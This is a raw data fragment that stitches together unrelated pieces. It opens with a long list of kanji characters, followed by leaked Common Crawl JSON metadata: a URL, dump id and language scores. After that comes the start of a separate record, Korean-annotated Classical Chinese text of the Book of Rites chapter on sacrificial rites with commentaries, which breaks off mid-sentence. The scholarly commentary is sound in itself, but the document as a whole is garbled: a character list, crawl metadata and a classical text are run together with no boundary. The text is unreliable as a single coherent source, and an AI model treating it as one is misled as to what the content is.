渕 渊 涵 淇 淦 涸 淆 淬 淞 淌 淨 淒 淅 淺 淙 淤 淕 淪 淮 渭 湮 渮 渙 湲 湟 渾 渣 湫 渫 湶 湍 渟 湃 渺 湎 渤 滿 渝 游 溂 溪 溘 滉 溷 滓 溽 溯 滄 溲 滔 滕 溏 溥 滂 溟 潁 漑 灌 滬 滸 滾 漿 滲 漱 滯 漲 滌 漾 漓 滷 澆 潺 潸 澁 澀 潯 潛 濳 潭 澂 潼 潘 澎 澑 濂 潦 澳 澣 澡 澤 澹 濆 澪 濟 濕 濬 濔 濘 濱 濮 濛 瀉 瀋 濺 瀑 瀁 瀏 濾 瀛 瀚 潴 瀝 瀘 瀟 瀰 瀾 瀲 灑 灣 炙 炒 炯 烱 炬 炸 炳 炮 烟 烋 烝 烙 焉 烽 焜 焙 煥 煕 熈 煦 煢 煌 煖 煬 熏 燻 熄 熕 熨 熬 燗 熹 熾 燒 燉 燔 燎 燠 燬 燧 燵 燼 燹 燿 爍 爐 爛 爨 爭 爬 爰 爲 爻 爼 爿 牀 牆 牋 牘 牴 牾 犂 犁 犇 犒 犖 犢 犧 犹 犲 狃 狆 狄 狎 狒 狢 狠 狡 狹 狷 倏 猗 猊 猜 猖 猝 猴 猯 猩 猥 猾 獎 獏 默 獗 獪 獨 獰 獸 獵 獻 獺 珈 玳 珎 玻 珀 珥 珮 珞 璢 琅 瑯 琥 珸 琲 琺 瑕 琿 瑟 瑙 瑁 瑜 瑩 瑰 瑣 瑪 瑶 瑾 璋 璞 璧 瓊 瓏 瓔 珱 瓠 瓣 瓧 瓩 瓮 瓲 瓰 瓱 瓸 瓷 甄 甃 甅 甌 甎 甍 甕 甓 甞 甦 甬 甼 畄 畍 畊 畉 畛 畆 畚 畩 畤 畧 畫 畭 畸 當 疆 疇 畴 疊 疉 疂 疔 疚 疝 疥 疣 痂 疳 痃 疵 疽 疸 疼 疱 痍 痊 痒 痙 痣 痞 痾 痿 痼 瘁 痰 痺 痲 痳 瘋 瘍 瘉 瘟 瘧 瘠 瘡 瘢 瘤 瘴 瘰 瘻 癇 癈 癆 癜 癘 癡 癢 癨 癩 癪 癧 癬 癰 癲 癶 癸 發 皀 皃 皈 皋 皎 皖 皓 皙 皚 皰 皴 皸 皹 皺 盂 盍 盖 盒 盞 盡 盥 盧 盪 蘯 盻 眈 眇 眄 眩 眤 眞 眥 眦 眛 眷 眸 睇 睚 睨 睫 睛 睥 睿 睾 睹 瞎 瞋 瞑 瞠 瞞 瞰 瞶 瞹 瞿 瞼 瞽 瞻 矇 矍 矗 矚 矜 矣 矮 矼 砌 砒 礦 砠 礪 硅 碎 硴 碆 硼 碚 碌 碣 碵 碪 碯 磑 磆 磋 磔 碾 碼 磅 磊 磬 磧 磚 磽 磴 礇 礒 礑 礙 礬 礫 祀 祠 祗 祟 祚 祕 祓 祺 祿 禊 禝 禧 齋 禪 禮 禳 禹 禺 秉 秕 秧 秬 秡 秣 稈 稍 稘 稙 稠 稟 禀 稱 稻 稾 稷 穃 穗 穉 穡 穢 穩 龝 穰 穹 穽 窈 窗 窕 窘 窖 窩 竈 窰 窶 竅 竄 窿 邃 竇 竊 竍 竏 竕 竓 站 竚 竝 竡 竢 竦 竭 竰 笂 笏 笊 笆 笳 笘 笙 笞 笵 笨 笶 筐 筺 笄 筍 笋 筌 筅 筵 筥 筴 筧 筰 筱 筬 筮 箝 箘 箟 箍 箜 箚 箋 箒 箏 筝 箙 篋 篁 篌 篏 箴 篆 篝 篩 簑 簔 篦 篥 籠 簀 簇 簓 篳 篷 簗 簍 篶 簣 簧 簪 簟 簷 簫 簽 籌 籃 籔 籏 籀 籐 籘 籟 籤 籖 籥 籬 籵 粃 粐 粤 粭 粢 粫 粡 粨 粳 粲 粱 粮 粹 粽 糀 糅 糂 糘 糒 糜 糢 鬻 糯 糲 糴 糶 糺 紆 紂 紜 紕 紊 絅 絋 紮 紲 紿 紵 絆 絳 絖 絎 絲 絨 絮 絏 絣 經 綉 絛 綏 絽 綛 綺 綮 綣 綵 緇 綽 綫 總 綢 綯 緜 綸 綟 綰 緘 緝 緤 緞 緻 緲 緡 縅 縊 縣 縡 縒 縱 縟 縉 縋 縢 繆 繦 縻 縵 縹 繃 縷 縲 縺 繧 繝 繖 繞 繙 繚 繹 繪 繩 繼 繻 纃 緕 繽 辮 繿 纈 纉 續 纒 纐 纓 纔 纖 纎 纛 纜 缸 缺 罅 罌 罍 罎 罐 网 罕 罔 罘 罟 罠 罨 罩 罧 罸 羂 羆 羃 羈 羇 羌 羔 羞 羝 羚 羣 羯 羲 羹 羮 羶 羸 譱 翅 翆 翊 翕 翔 翡 翦 翩 翳 翹 飜 耆 耄 耋 耒 耘 耙 耜 耡 耨 耿 耻 聊 聆 聒 聘 聚 聟 聢 聨 聳 聲 聰 聶 聹 聽 聿 肄 肆 肅 肛 肓 肚 肭 冐 肬 胛 胥 胙 胝 胄 胚 胖 脉 胯 胱 脛 脩 脣 脯 腋 隋 腆 脾 腓 腑 胼 腱 腮 腥 腦 腴 膃 膈 膊 膀 膂 膠 膕 膤 膣 腟 膓 膩 膰 膵 膾 膸 膽 臀 臂 膺 臉 臍 臑 臙 臘 臈 臚 臟 臠 臧 臺 臻 臾 舁 舂 舅 與 舊 舍 舐 舖 舩 舫 舸 舳 艀 艙 艘 艝 艚 艟 艤 艢 艨 艪 艫 舮 艱 艷 艸 艾 芍 芒 芫 芟 芻 芬 苡 苣 苟 苒 苴 苳 苺 莓 范 苻 苹 苞 茆 苜 茉 苙 茵 茴 茖 茲 茱 荀 茹 荐 荅 茯 茫 茗 茘 莅 莚 莪 莟 莢 莖 茣 莎 莇 莊 荼 莵 荳 荵 莠 莉 莨 菴 萓 菫 菎 菽 萃 菘 萋 菁 菷 萇 菠 菲 萍 萢 萠 莽 萸 蔆 菻 葭 萪 萼 蕚 蒄 葷 葫 蒭 葮 蒂 葩 葆 萬 葯 葹 萵 蓊 葢 蒹 蒿 蒟 蓙 蓍 蒻 蓚 蓐 蓁 蓆 蓖 蒡 蔡 蓿 蓴 蔗 蔘 蔬 蔟 蔕 蔔 蓼 蕀 蕣 蕘 蕈 蕁 蘂 蕋 蕕 薀 薤 薈 薑 薊 薨 蕭 薔 薛 藪 薇 薜 蕷 蕾 薐 藉 薺 藏 薹 藐 藕 藝 藥 藜 藹 蘊 蘓 蘋 藾 藺 蘆 蘢 蘚 蘰 蘿 虍 乕 虔 號 虧 虱 蚓 蚣 蚩 蚪 蚋 蚌 蚶 蚯 蛄 蛆 蚰 蛉 蠣 蚫 蛔 蛞 蛩 蛬 蛟 蛛 蛯 蜒 蜆 蜈 蜀 蜃 蛻 蜑 蜉 蜍 蛹 蜊 蜴 蜿 蜷 蜻 蜥 蜩 蜚 蝠 蝟 蝸 蝌 蝎 蝴 蝗 蝨 蝮 蝙 蝓 蝣 蝪 蠅 螢 螟 螂 螯 蟋 螽 蟀 蟐 雖 螫 蟄 螳 蟇 蟆 螻 蟯 蟲 蟠 蠏 蠍 蟾 蟶 蟷 蠎 蟒 蠑 蠖 蠕 蠢 蠡 蠱 蠶 蠹 蠧 蠻 衄 衂 衒 衙 衞 衢 衫 袁 衾 袞 衵 衽 袵 衲 袂 袗 袒 袮 袙 袢 袍 袤 袰 袿 袱 裃 裄 裔 裘 裙 裝 裹 褂 裼 裴 裨 裲 褄 褌 褊 褓 襃 褞 褥 褪 褫 襁 襄 褻 褶 褸 襌 褝 襠 襞 襦 襤 襭 襪 襯 襴 襷 襾 覃 覈 覊 覓 覘 覡 覩 覦 覬 覯 覲 覺 覽 覿 觀 觚 觜 觝 觧 觴 觸 訃 訖 訐 訌 訛 訝 訥 訶 詁 詛 詒 詆 詈 詼 詭 詬 詢 誅 誂 誄 誨 誡 誑 誥 誦 誚 誣 諄 諍 諂 諚 諫 諳 諧 諤 諱 謔 諠 諢 諷 諞 諛 謌 謇 謚 諡 謖 謐 謗 謠 謳 鞫 謦 謫 謾 謨 譁 譌 譏 譎 證 譖 譛 譚 譫 譟 譬 譯 譴 譽 讀 讌 讎 讒 讓 讖 讙 讚 谺 豁 谿 豈 豌 豎 豐 豕 豢 豬 豸 豺 貂 貉 貅 貊 貍 貎 貔 豼 貘 戝 貭 貪 貽 貲 貳 貮 貶 賈 賁 賤 賣 賚 賽 賺 賻 贄 贅 贊 贇 贏 贍 贐 齎 贓 賍 贔 贖 赧 赭 赱 赳 趁 趙 跂 趾 趺 跏 跚 跖 跌 跛 跋 跪 跫 跟 跣 跼 踈 踉 跿 踝 踞 踐 踟 蹂 踵 踰 踴 蹊 蹇 蹉 蹌 蹐 蹈 蹙 蹤 蹠 踪 蹣 蹕 蹶 蹲 蹼 躁 躇 躅 躄 躋 躊 躓 躑 躔 躙 躪 躡 躬 躰 軆 躱 躾 軅 軈 軋 軛 軣 軼 軻 軫 軾 輊 輅 輕 輒 輙 輓 輜 輟 輛 輌 輦 輳 輻 輹 轅 轂 輾 轌 轉 轆 轎 轗 轜 轢 轣 轤 辜 辟 辣 辭 辯 辷 迚 迥 迢 迪 迯 邇 迴 逅 迹 迺 逑 逕 逡 逍 逞 逖 逋 逧 逶 逵 逹 迸 遏 遐 遑 遒 逎 遉 逾 遖 遘 遞 遨 遯 遶 隨 遲 邂 遽 邁 邀 邊 邉 邏 邨 邯 邱 邵 郢 郤 扈 郛 鄂 鄒 鄙 鄲 鄰 酊 酖 酘 酣 酥 酩 酳 酲 醋 醉 醂 醢 醫 醯 醪 醵 醴 醺 釀 釁 釉 釋 釐 釖 釟 釡 釛 釼 釵 釶 鈞 釿 鈔 鈬 鈕 鈑 鉞 鉗 鉅 鉉 鉤 鉈 銕 鈿 鉋 鉐 銜 銖 銓 銛 鉚 鋏 銹 銷 鋩 錏 鋺 鍄 錮 錙 錢 錚 錣 錺 錵 錻 鍜 鍠 鍼 鍮 鍖 鎰 鎬 鎭 鎔 鎹 鏖 鏗 鏨 鏥 鏘 鏃 鏝 鏐 鏈 鏤 鐚 鐔 鐓 鐃 鐇 鐐 鐶 鐫 鐵 鐡 鐺 鑁 鑒 鑄 鑛 鑠 鑢 鑞 鑪 鈩 鑰 鑵 鑷 鑽 鑚 鑼 鑾 钁 鑿 閂 閇 閊 閔 閖 閘 閙 閠 閨 閧 閭 閼 閻 閹 閾 闊 濶 闃 闍 闌 闕 闔 闖 關 闡 闥 闢 阡 阨 阮 阯 陂 陌 陏 陋 陷 陜 陞 陝 陟 陦 陲 陬 隍 隘 隕 隗 險 隧 隱 隲 隰 隴 隶 隸 隹 雎 雋 雉 雍 襍 雜 霍 雕 雹 霄 霆 霈 霓 霎 霑 霏 霖 霙 霤 霪 霰 霹 霽 霾 靄 靆 靈 靂 靉 靜 靠 靤 靦 靨 勒 靫 靱 靹 鞅 靼 鞁 靺 鞆 鞋 鞏 鞐 鞜 鞨 鞦 鞣 鞳 鞴 韃 韆 韈 韋 韜 韭 齏 韲 竟 韶 韵 頏 頌 頸 頤 頡 頷 頽 顆 顏 顋 顫 顯 顰 顱 顴 顳 颪 颯 颱 颶 飄 飃 飆 飩 飫 餃 餉 餒 餔 餘 餡 餝 餞 餤 餠 餬 餮 餽 餾 饂 饉 饅 饐 饋 饑 饒 饌 饕 馗 馘 馥 馭 馮 馼 駟 駛 駝 駘 駑 駭 駮 駱 駲 駻 駸 騁 騏 騅 駢 騙 騫 騷 驅 驂 驀 驃 騾 驕 驍 驛 驗 驟 驢 驥 驤 驩 驫 驪 骭 骰 骼 髀 髏 髑 髓 體 髞 髟 髢 髣 髦 髯 髫 髮 髴 髱 髷 髻 鬆 鬘 鬚 鬟 鬢 鬣 鬥 鬧 鬨 鬩 鬪 鬮 鬯 鬲 魄 魃 魏 魍 魎 魑 魘 魴 鮓 鮃 鮑 鮖 鮗 鮟 鮠 鮨 鮴 鯀 鯊 鮹 鯆 鯏 鯑 鯒 鯣 鯢 鯤 鯔 鯡 鰺 鯲 鯱 鯰 鰕 鰔 鰉 鰓 鰌 鰆 鰈 鰒 鰊 鰄 鰮 鰛 鰥 鰤 鰡 鰰 鱇 鰲 鱆 鰾 鱚 鱠 鱧 鱶 鱸 鳧 鳬 鳰 鴉 鴈 鳫 鴃 鴆 鴪 鴦 鶯 鴣 鴟 鵄 鴕 鴒 鵁 鴿 鴾 鵆 鵈 鵝 鵞 鵤 鵑 鵐 鵙 鵲 鶉 鶇 鶫 鵯 鵺 鶚 鶤 鶩 鶲 鷄 鷁 鶻 鶸 鶺 鷆 鷏 鷂 鷙 鷓 鷸 鷦 鷭 鷯 鷽 鸚 鸛 鸞 鹵 鹹 鹽 麁 麈 麋 麌 麒 麕 麑 麝 麥 麩 麸 麪 麭 靡 黌 黎 黏 黐 黔 黜 點 黝 黠 黥 黨 黯 黴 黶 黷 黹 黻 黼 黽 鼇 鼈 皷 鼕 鼡 鼬 鼾 齊 齒 齔 齣 齟 齠 齡 齦 齧 齬 齪 齷 齲 齶 龕 龜 龠 堯 槇 遙 瑤 凜 熙","id":"","dump":"CC-MAIN-2018-22","url":"http:\/\/www.christopher-mayo.com\/?p=251","date":"2018-05-28T05:16:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794871918.99\/warc\/CC-MAIN-20180528044215-20180528064215-00086.warc.gz","language":"lzh","language_score":0.5160794854,"language_script":"Hani","minhash_cluster_size":10,"top_langs":"{\"lzh_Hani_score\": 0.5160794854164124, \"cmn_Hani_score\": 0.3511395752429962, \"nan_Hani_score\": 0.06515388935804367, \"yue_Hani_score\": 0.05772043392062187}","num_words":6422,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.492,"stopwords_ratio":0.005,"flagged_words_ratio":0.0,"lang_id_score":0.523,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"01. 祭不欲數[朔]이니 數則煩하고 煩則不敬하며 祭不欲疏니, 疏則怠하고 怠則忘이니라. 是故로 君子이 合諸天道하야 春禘[禴]秋嘗하나니, 霜露이 旣降이어든 君子이 履之하고 必有悽愴[初亮切]之心하나니 非其寒之謂也며, 春雨露이 旣濡커든 君子이 履之하고 必有怵惕之心하야 如將見之하나니, 樂以迎來하고 哀以送往이라. 故로 禘[禴]有樂하고 而嘗은 無樂하니라.[30] [禴=礿]\n王制에 言天子諸侯宗廟之祭는 春礿,夏禘,秋嘗,冬烝이라하니, 註에 云夏殷之祭名이라. 周則春祠,夏禴,秋嘗,冬烝也라하다. 郊特牲에 饗禘는 有樂하고 而食嘗은 無樂이니, 禘는 讀爲禴이라하니, 然則此章二禘字를 亦皆當讀爲禴也라. 但祭統에 言大嘗禘,升歌淸廟,下管象,與那 詩言 庸鼓有斁,萬舞有奕이라하고, 下云顧予烝嘗이라하니, 是殷周秋冬之祭에 不可言無樂也니 此與郊特牲에 皆云無樂은 未詳이라.\n○鄭氏이 曰,迎來而樂은 樂親之將來也요, 送去而哀는 哀其享否不可知也라.\n○方氏이 曰, 於雨露에 言春則知霜露之爲秋矣요, 霜露에 言非其寒則雨露에 爲非其溫之謂矣요, 雨露言如將見之則霜露에 爲如將失之矣니, 蓋春夏는 所以迎其來요, 秋冬은 所以送其往也라. [礿:春祭약,=禴同][禘:夏祭체,王者大祭名][斁:무너질두]\n[毗陵慕容氏曰數則煩爲無敬怠則忘爲無愛愛敬忘於中動而僞爲無所不至矣先王以愛敬出於誠心非可以僞爲也故因天道之自然而行禘嘗之禮疏數之宜非出於人爲故能盡祭之義]\n[延平黃氏曰雨露旣濡則萬物感陽以生霜露旣降則萬物感陰以死萬物以生之時君子不忍致死於其親且謂其與物而來矣故樂以迎之萬物以死之時君子不敢致生於其親且謂其與物而往矣故哀以送之孝子之祭有送往之哀而不及樂是謂弗仁有迎來之樂而不及哀是謂弗智]\n02. 致齊[齋]於內하고, 散[上聲]齊於外니, 齊之日에 思其居處하며, 思其笑語하며, 思其志意하며, 思其所樂[五敎反]하며, 思其所嗜하야, 齊三日에 乃見其所爲[去聲]齊者니라.[32]\n五其字 及下文所爲는 皆指親而言이라.\n○疏에 曰, 先思其粗하니 漸思其精이라. 故,居處在前하니 樂嗜居後라.\n[嚴陵方氏曰 齊於內所以愼其心 齊於外所以防其物 散齊若所謂不飮酒不茹葷之類 齊三日則致齊而已 必致齊然後見其所爲齊者思之至故也]\n[毗陵慕容氏曰 心之官曰思 思有所至則無所不達 夫不以欲惡哀樂二其心而致一於其所祭 故無形之中視有所見 無聲之中聽有所聞 皆其思之所能達親之居處 笑語志意 樂嗜往而不反 非有實也 夫豈形體之所能交哉 思之所至足以通之矣 齊之三日乃見其所爲齊者言思之至 雖親之不可見者如見其存微之顯誠之不可揜也如此]\n[茹:먹을여,마시다(啜)][葷:냄새강한풀훈][毗:도울비]\n03. 祭之日에 入室하야 僾[愛]然必有見[現]乎其位하며 周還[旋]出戶에 肅然必有聞乎其容聲하며 出戶而聽에 愾[苦代反]然必有聞乎其歎息之聲하나니라.[34]\n入室은 入廟室也라. 僾然은 彷彿之貌라. 見乎其位는 如見親之在神位也라. 周旋出戶는 謂薦俎酌獻之時에 行步周旋之間에 或自戶內而出也라. 肅然은 儆惕之貌라. 容聲은 擧動容止之聲也라. 愾然은 太息之聲也라.\n[僾:어렴풋할애][彷:비슷할방,배회할방][彿:비슷할불,분별하기어려울불][儆:경계할경(警)][惕:공경척,두려워할척,근심][愾:성낼개,차다,한숨,한탄]\n[張子曰僾然見乎其位愾然聞乎其歎息齊之至則祭之日自然如此]\n[馬氏曰入廟而升堂則僾然見乎其位薦腥而出戶則肅然必有聞乎其容聲已薦出戶而聽則愾然必有聞乎其嘆息之聲此祭之序也僾然言其皃(=貌)肅然言其容愾然言其氣]\n04. 是故로 先王之孝也는 色不忘乎目하며 聲不絶乎耳하며 心志嗜欲을 不忘乎心하사 致愛則存하시고 致慤則著하시나니, 著存을 不忘乎心이어니 夫安得不敬乎리오? 君子이 生則敬養하고 死則敬享은 思終身弗辱也니라.[34]\n致愛는 極其愛親之心也요, 致慤은 極其敬親之誠也라. 存은 以上文三者不忘而言이요, 著은 以上文見乎其位以下三者而言이라. 不能敬則養與享이 祗以辱親而已라.\n[慤:성실각][著:나타나다.드러남]\n[嚴陵方氏曰色不忘乎目常若承顔之際也聲不絶乎耳常若聽命之際也愛言追念之思慤言想見之誠致其愛矣親雖亡而猶存致其慤矣神雖微而猶著孔子曰祭如在祭神如神在非謂是歟]\n[慶源輔氏曰天地之性人爲貴人之行莫大於孝乃人之心也先王能存其心故父母之容色自不忘於目父母之聲音自不絶於耳父母之心志嗜欲自不忘乎心此固非勉强矯拂之所能然也亦致吾心之愛與敬而已故曰致愛則存致慤則著愛則心也故曰存慤則誠也故曰著存雖若存於內著雖若著於外然誠不可以內外言故終之以著存不忘於心著存不忘乎心則洋洋乎如在其上如在其左右不可度思矧可射思夫安得不敬乎又曰一息不敬則絶于理絶于理則辱其親矣故生則敬養死則敬享是乃思終身弗辱也][矧:잇몸신,하물며,잇속드러나다]\n05. 君子이 有終身之喪하니 忌日之謂也라. 忌日을 不用은 非不祥也라. 言夫日에 志有所至하야 而不敢盡其私也니라.[36]\n忌日은 親之死日也라. 不用은 不以此日로 爲他事也라. 非不祥은 言非以死爲不祥而避之也라. 夫日은 猶此日也라. 志有所至者는 此心極於念親也라. 不敢盡其私此私字는 如不有私財之私하야 言不敢盡心於己之私事也라.\n06. 唯聖人이사 爲能饗帝하며, 孝子이사 爲能饗親하나니, 饗者는 鄕[去聲]也라. 鄕之然後에 能饗焉하나니 是故로 孝子는 臨尸而不怍이니라. 君이 牽牲이어시든 夫人이 奠盎하며, 君이 獻尸시든 夫人이 薦豆하며, 卿大夫이 相[去聲]君이어든 命婦이 相夫人하야, 齊齊[如字]乎其敬也하며 愉愉乎其忠也하며 勿勿諸 其欲其饗之也니라.[37]\n臨尸不怍則其鄕親之心이 致愛致慤을 可知矣라. 奠盎은 設盎齊之奠也라. 齊齊는 整肅之皃요, 愉愉其忠은 有和順之實也요, 勿勿은 猶切切也라. 諸는 語辭이니 猶然也라.\n[怍:부끄러울작][牽:당길인,희생(牲)][愉:즐거울유,기뻐하다.구차할투(偸)]\n[石林葉氏曰聖人具天道其德同乎帝故饗帝帝必有天也孝子具人道其仁篤於親故饗親親必有祖也推其祖以配天推其親以配上帝亦孝子之事離而言之則異故曰聖人之德無以加於孝乎志之所鄕然後能饗故聖人推其尊尊之義以向乎天孝子推其親親之仁以向乎親]\n[江陵項氏曰以人而交於神非惻怛純至與之俱化者不能達也故曰唯聖人爲能享帝孝子爲能饗親仁人之心與天地爲一體孝子之心與父母爲一人]\n07. 文王之祭也는 事死者하사대 如事生하시대 思死者하사 如不欲生하시며, 忌日에 必哀하시며, 稱諱에 如見親하시며 祀之忠也라. 如見親之所愛이 如欲色然은 其文王與인저[五聲]. 詩云호대 明發不寐하야 有懷二人이라하니 文王之詩也라. 祭之明日에 明發不寐하며 饗而致之하시고 又從而思之하시니, 祭之日엔 樂[洛]與哀半하사 饗之必樂하시고 已至必哀하시니라.[38]\n如不欲生은 似欲隨之死也라. 宗廟之禮에 上不諱下라. 故,有稱諱之時니 如祭高祖則不諱曾祖以下也라. 如欲色然은 言其想像親平生所愛之物하고 如見親의 有欲之之色也라. 詩는 小雅小宛之篇이라. 明發은 自夜至光明開發之時也라. 詩는 本謂宣王의 永懷文王武王之功烈이어늘 此에 借以喩文王念父母之勤耳라. 文王之詩에 言此詩足以咏文王也라. 饗之必樂은 迎其來也已至而禮畢則往矣라. 故,哀也라.\n[宛:굽힐완,작은모양.宛然:마치,흡사,서로 비슷함.,교묘하게사람을피함]\n[嚴陵方氏曰事死如事生所謂祭如在也思死如不欲生所謂至痛極也忌日必哀所謂有終身之喪也稱諱如見親所謂聞名心瞿也明發者自夜至光明開發時也祭之明日猶且如此而況祭之正日乎於將祭而齊焉則逆思其所以去故曰享而致之又從而思之祭之日樂與哀半者以其饗之必樂已至必哀故也饗之必樂則樂致其來已至必哀則哀思其去前經言樂以迎來哀以送往正謂是矣]\n[長樂陳氏曰君子之於親生事之以禮故事之之日喜與懼半所謂父母之年不可不知一則以喜一則以懼是也死祭之以禮故祭之之日樂與哀半所謂享之必樂已至必哀是也已至必哀原其始也哀以送往要其終也]\n08. 仲尼이 嘗하실새 奉薦而進하사대 其親也이 慤하며, 其行也이 趨趨[促]以數[朔]하더시니 已祭하고, 子贛이 問曰호대 子之言 祭는 濟濟[上聲]漆漆[切]然이러시니 今子之祭에 無濟濟漆漆은 何也잇고? 子曰하사대 濟濟者는 容也이 遠也요, 漆漆者는 容也이 自反也니, 容以遠과 若容以自反也는 夫何神明之及交리오? 夫何濟濟漆漆之有乎리오? 反饋樂成이어든 薦其薦俎하며 序其禮樂하며 備其百官하야, 君子이 致其濟濟漆漆하나니, 夫何恍[晃]惚[忽]之有乎리오? 夫言은 豈一端而已리오, 夫各有所當[去聲]也니라.[40] [贛:줄공(貢과통자),땅이름감]\n嘗은 秋祭也라. 奉薦而進은 進於尸也라. 親은 身自執事也라. 慤은 漙謹貌라. 趨趨는 讀爲促促이니 行步迫狹也요, 數는 擧足頻也니 皆不事威儀之貌라. 子貢이 待祭畢하야 以夫子所嘗言者로 爲問하니 蓋怪其今所行이 與昔所言으로 異也라. 夫子言濟濟者는 衆盛之容也이 遠也니 言非所以接親親也요, 漆漆者는 專致之容也라. 自反은 猶言自修整也요, 若은 及也라. 容之疏遠 及容之自反者이 夫何能交及於神明乎아? 我之自祭이 何可有濟濟漆漆乎아 하시니, 言以誠慤爲貴也라. 若言天子諸侯之祭에 尸初在室하고 後出在堂이어든, 更反入而設饋하고 作樂하야, 旣成이어든 主人이 薦其饋食之豆와 與牲體之俎하나니, 先時則致敬以交於神明하고, 至此則序禮樂하고, 備百官하야 獻酬往復하야 凡助祭之君子이 各以威儀相尙而致其濟濟漆漆之容하나니, 當此之際하야 何能有思念慌惚交神之心乎아? 各有所當은 言各有所主니, 謂濟濟漆漆은 乃宗廟中賓客之容이요, 非主人之容也라. 主人之事親은 宜慤而趨數也라.\n[漙:이슬방울많이맺힐전(露多貌)][迫:핍박할박,닥치다][頻:자주빈]\n[延平周氏曰濟濟之容遠也而漆漆之容自反也遠而自反非主祭者之容特其助祭者之容耳故孔子之言祭則濟濟漆漆而親奉祭則慤而趨數者盖言之各有所當也]\n09. 孝子이 將祭할새 慮事를 不可以不豫하며 比[畀]時具物호대 不可以不備니 虛中以治之하나니라.[43]\n比時는 及時也니 謂當行禮之時라. 具物은 陳設器饌之屬이라. 虛中淸明在躬心無雜念也라.\n[慶源輔氏曰事不可以不豫慮物不可以不先備及祭則虛中以治之耳一有不豫一有不備則有以動吾之心虧吾之誠非與神明交之道也]\n10. 宮室이 旣修하며, 牆屋이 旣設하며, 百物이 旣備어든 夫婦齊戒沐浴하야 奉承而進之호대, 洞洞乎屬屬乎如弗勝[平聲]하며 如將失之하나니, 其孝敬之心이 至也與[平聲]인저. 薦其薦俎하며, 序其禮樂하며 備其百官하야 奉承而進之하야, 於是에 諭其志意하야 以其慌惚로 以與神明交하야 庶或饗之하며, 庶或饗之는 孝子之志也니라.[44]\n洞屬屬은 見禮器兩言 奉承而進之는 上謂主人이요 下謂助祭者라. 諭其志意는 祝以孝告也라. [俎:도마조,적대조][諭:고할유,밝히다.諭告,諭示,諭旨][慌:어렴풋,황홀,다급][惚:황홀]\n[延平周氏曰洞洞言其幽深 屬屬言其聮續備其百官者言助祭之百官也]\n11. 孝子之祭也는 盡其慤而慤焉하며 盡其信而信焉하며 盡其敬而敬焉하며 盡其禮而不過失焉하며 進退必敬하야 如親聽命하야 則或使之也니라.[45]\n盡其慤而爲慤 盡其信而爲信 盡其敬而爲敬은 言無一毫之不致其極也라. 禮有常經하야 不可以私意爲隆殺라. 故,曰盡其禮而不過失焉이라. 進退之間에 其敬心之所存이 如親聆父母之命하고 而若有使之者는 亦前章著存之意라. [聆:들을령,깨닫다]\n[嚴陵方氏曰盡其慤所謂慤善不違身也盡其信所謂致其誠信也盡其敬所謂與其忠敬也盡其禮謂祭之以禮也不過則當其事不失則得其道]\n[石林葉氏曰慤者信之始信者慤之著敬者禮之質禮者敬之文四者於祭祀無不盡而獨於禮不敢過失者明其誠謹與物爲稱也]\n12. 孝子之祭를 可知也니 其立之也이 敬以詘[屈]하며, 其進之也이 敬以愉하며, 其薦之也이 敬以欲하며, 退而立하야 如將受命하며, 已徹而退하야 敬齊[如字]之色이 不絶於面하나니, 孝子之祭也이 立而不詘이면 固也요, 進而不愉면 疏也요, 薦而不欲이면 不愛也요, 退立而不如受命이면 敖[傲]也요, 已徹而退하야 無敬齊之色이면 而忘本也니, 如是而祭하면 失之矣니라.[46]\n方氏이 曰孝子之祭可知者는 言觀其祭에 可以知其心也라. 立之者는 方待事而立也요, 進之者는 旣從事而進也요, 薦之者는 奉物而薦也요, 退而立者는 進而復退也요, 已徹而退者는 旣薦而後徹也니, 蓋退而立則少退而已立이요, 已徹而退則於是乎退焉이니, 此其所以異也라. 立之敬以詘則身之屈而爲之變焉이라. 故立而不詘이 固也요, 進之敬以愉則色之愉而致其親焉이라. 故,進而不愉이 疏也요, 薦之敬以欲則心之欲而冀其享焉이라. 故,薦而不欲이 不愛也요, 退而立如將受命則順聽而無所忽焉이라. 故,退立而不如受命이 敖也요, 已徹而退敬齊之色不絶於面則愼終如始矣라. 故,已徹而退無敬齊之色而忘本也라.\n[毗陵慕容氏曰君子以所性爲本故能達而爲容貌敬齊之色不絶於面有本者如是也今無焉是忘其本也心勿忘則有本本存則有其容矣此表裏之符也覩其容如此則知非有本者故曰如是而祭失之矣由前而祭則可知其心以循其本故也由後而祭則失之以喪其本故也居子務本所謂本者孝而已故其言必本於孝子]\n[山陰陸氏曰立而不詘以其恃親是故謂之固進而不愉以其憚親是故謂之疏薦而不欲若不得已而後薦也不愛莫大於是退立而不如受命敖也凡祭以齊爲本方祭嫌於不愉祭已嫌於不齊已徹而忘之是之謂忘本] [覩:볼도]\n13. 孝子之有深愛者는 必有和氣하며, 有和氣者는 必有愉色하며, 有愉色者는 必有婉容하고, 孝子는 如執玉하며 如奉[상성]盈하야 洞洞屬屬然하야 如弗勝하며 如將失之하나니, 嚴威儼恪은 非所以事親也라. 成人之道也니라.[48]\n和氣愉色婉容은 皆愛心之所發이요, 如執玉如奉盈如弗勝如將失之는 皆敬心之所存이니 愛敬兼至이 乃孝子之道라. 故,嚴威儼恪하야 使人望而畏之이 是成人之道요, 非孝子之道也라.\n[山陰陸氏曰和氣愉色婉容皆愛根於心其發見於外如此如執玉如奉盈如弗勝言敬故曰愛敬盡於事親]\n[延平周氏曰如執玉言其恭如奉盈言其愼]\n14. 先王之所以治天下者이 五이니, 貴有德하며, 貴貴하며, 貴老하며, 敬長하며, 慈幼이니, 此五者는 先王之所以定天下也라. 貴有德은 何爲[去聲]也요? 爲其近於道也요, 貴貴는 爲其近於君也요, 貴老는 爲其近於親也요, 敬長은 爲其近於兄也요, 慈幼는 爲其近於子也니, 是故로 至孝는 近乎王[去聲]하고, 至弟는 近乎覇하니, 至孝近乎王은 雖天子라도 必有父하시고, 至弟近乎覇는 雖諸侯라도 必有兄하시니, 先王之敎이 因而弗改는 所以領天下國家也니라.[49]\n應氏이 曰, 仁以事親而廣其愛하야 極其至則王者의 以德行仁之心也요, 義以從兄而順其序하야 極其至則覇者의 以禮明義之擧也라. 孝弟之根本이 立乎一家하고, 王覇之功業이 周乎天下하니, 雖未能盡王覇之能事나 而亦近之矣라. 天子至尊하야 內雖致睦於兄弟而族人이 不敢以長幼齒之라. 故所尊者이 惟父而諸侯特言有兄이라. 道는 渾全無跡하고, 德은 純實有方하나니 蓋以人行道而有得於身也라. 故,曰 近之矣라.\n○石梁王氏이 曰, 王孝覇弟는 